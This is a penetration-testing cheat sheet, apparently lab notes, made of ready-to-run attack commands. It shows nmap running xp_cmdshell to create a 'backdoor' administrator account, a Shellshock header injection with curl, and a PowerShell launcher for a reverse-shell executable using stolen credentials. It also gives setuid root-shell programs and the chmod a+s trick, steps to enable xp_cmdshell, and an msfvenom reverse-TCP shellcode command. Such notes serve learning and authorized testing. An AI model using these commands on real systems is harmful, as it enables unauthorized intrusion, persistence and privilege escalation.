+ Upgrading simple shells to fully interactive TTYs

https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

+ Temporary Web Server

python -m SimpleHTTPServer
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start"
php -S 0.0.0.0:8888

+ Use Nmap to remotely execute commands through SQL

nmap -Pn -n -sS --script=ms-sql-xp-cmdshell.nse <victim_ip> -p1433 --script-args mssql.username=sa,mssql.password=<sql_password>,ms-sql-xp-cmdshell.cmd="net user backdoor backdoor123 /add"
nmap -Pn -n -sS --script=ms-sql-xp-cmdshell.nse 10.11.1.31 -p1433 --script-args mssql.username=<sql_user>,mssql.password=<sql_password>,ms-sql-xp-cmdshell.cmd="net localgroup administrators backdoor /add"

+ Make browser appear as a search engine
Use curl (serch engine agents: googlebot, slurp, msnbot…)

curl -A "'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')" 
'http://<victim_ip>/robots.txt'

+ Change headers of a http request using curl
Example: check for shellshock vulnerability: (PoC: '() { :; }; echo “CVE-2014-6271 vulnerable”' bash -c id )

curl -H 'User-Agent: () { :; }; echo "CVE-2014-6271 vulnerable" bash -c id' http://10.11.1.71/cgi-bin/admin.cgi

+ Execute process as another user (with credentials)

1. Create a ps1 file e.g. run.ps1 with powershell commands as below:

   $secpasswd = ConvertTo-SecureString "<admin_pass_clear_text>" -AsPlainText -Force
   $mycreds = New-Object System.Management.Automation.PSCredential ("<Admin_username>", $secpasswd)
   $computer = "<COMPUTER_NAME>"
   [System.Diagnostics.Process]::Start("C:/users/public/<reverse_shell.exe>","", $mycreds.Username, mycreds.Password, $computer)

2. Upload run.ps1 to victim's machine
3. Execute powershell command:

   powershell -ExecutionPolicy Bypass -File c:\users\public\run.ps1

 + Get a root shell from MySQL

https://infamoussyn.com/2014/07/11/gaining-a-root-shell-using-mysql-user-defined-functions-and-setuid-binaries/

+ Setuid binary for root shell

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
  setuid(0); setgid(0); system("/bin/bash");
}

Alternatively

#include <stdio.h>
#include <unistd.h>
main()
{
  setuid(0);
  execl("/bin/sh","sh",0);
  printf("You are root");
}

gcc -o rootme rootme.c
chown root:root && chmod 4777 /var/tmp/rootme

Alternatively

cp /bin/sh /tmp/root_shell; chmod a+s /tmp/root_shell;
/tmp/root_shell -p

+ Leverage xp_cmdshell to get a shell

sqsh -S <ip_address> -U sa -P <password>
 
exec sp_configure ‘show advanced options’, 1
go
reconfigure
go
exec sp_configure ‘xp_cmdshell’, 1
go
reconfigure
go
xp_cmdshell 'dir C:\'
go

+ Bypassing white-listing

http://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html

+ Create small shellcode

msfvenom -p windows/shell_reverse_tcp -a x86 -f python --platform windows LHOST=<ip> LPORT=443 -b "\x00" EXITFUNC=thread --smallest -e x86/fnstenv_mov